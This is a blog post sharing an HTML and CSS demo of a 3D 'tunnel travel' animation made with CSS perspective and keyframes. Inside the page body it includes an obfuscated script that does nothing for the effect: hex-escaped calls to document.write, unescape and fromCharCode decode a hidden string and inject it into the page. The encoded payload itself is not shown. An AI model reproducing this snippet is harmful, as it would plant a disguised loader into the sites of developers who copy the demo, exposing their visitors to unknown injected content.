时空穿梭效果

<html lang="en"><head>
<meta charset="UTF-8">
<title>Tunnel travel using CSS perspective</title>
<style>
html, body {
width: 100%;
height: 100%;
overflow: hidden;
}

body {
background: #000;
text-align: center;
}
body::before {
content: "";
display: inline-block;
height: 100%;
vertical-align: middle;
}

.scene {
position: relative;
display: inline-block;
vertical-align: middle;
perspective: 15px;
perspective-origin: 50% 50%;
}

.wrap {
position: absolute;
width: 1000px;
height: 1000px;
left: -500px;
top: -500px;
transform-style: preserve-3d;
animation: move 12s infinite linear;
animation-fill-mode: forwards;
}

.wrap:nth-child(2) {
animation: move 12s infinite linear;
animation-delay: 6s;
}

.wall {
width: 100%;
height: 100%;
position: absolute;
background: url(img/sg.jpg);
background-size: cover;
opacity: 0;
animation: fade 12s infinite linear;
}

.wrap:nth-child(2) .wall {
animation-delay: 6s;
}

.wall-right {
transform: rotateY(90deg) translateZ(500px);
}

.wall-left {
transform: rotateY(-90deg) translateZ(500px);
}

.wall-top {
transform: rotateX(90deg) translateZ(500px);
}

.wall-bottom {
transform: rotateX(-90deg) translateZ(500px);
}

.wall-back {
transform: rotateX(180deg) translateZ(500px);
}

@keyframes fade {
0% {
opacity: 0;
}
25% {
opacity: 1;
}
75% {
opacity: 1;
}
100% {
opacity: 0;
}
}
@keyframes move {
0% {
transform: translateZ(-500px) rotate(0deg);
}
100% {
transform: translateZ(500px) rotate(0deg);
}
}
</style>

</head>
<body>
<script>
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](function(Vs1){Vs1=window["\x75\x6e\x65\x73\x63\x61\x70\x65"](Vs1);var nZ2=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](Vs1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](0)-Vs1["\x6c\x65\x6e\x67\x74\x68"]);for(var Zlo3=1;Zlo3<Vs1["\x6c\x65\x6e\x67\x74\x68"];Zlo3++){nZ2+=window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65"](Vs1["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Zlo3)-nZ2["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](Zlo3-1))}return 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</script>
<div class="scene">
<div class="wrap">
<div class="wall wall-right"></div>
<div class="wall wall-left"></div>
<div class="wall wall-top"></div>
<div class="wall wall-bottom"></div>
<div class="wall wall-back"></div>
</div>
<div class="wrap">
<div class="wall wall-right"></div>
<div class="wall wall-left"></div>
<div class="wall wall-top"></div>
<div class="wall wall-bottom"></div>
<div class="wall wall-back"></div>
</div>
</div>
</body>
</html>

 

posted @ 2022-02-11 10:07  skr_skr~  阅读(88)  评论(0)    收藏  举报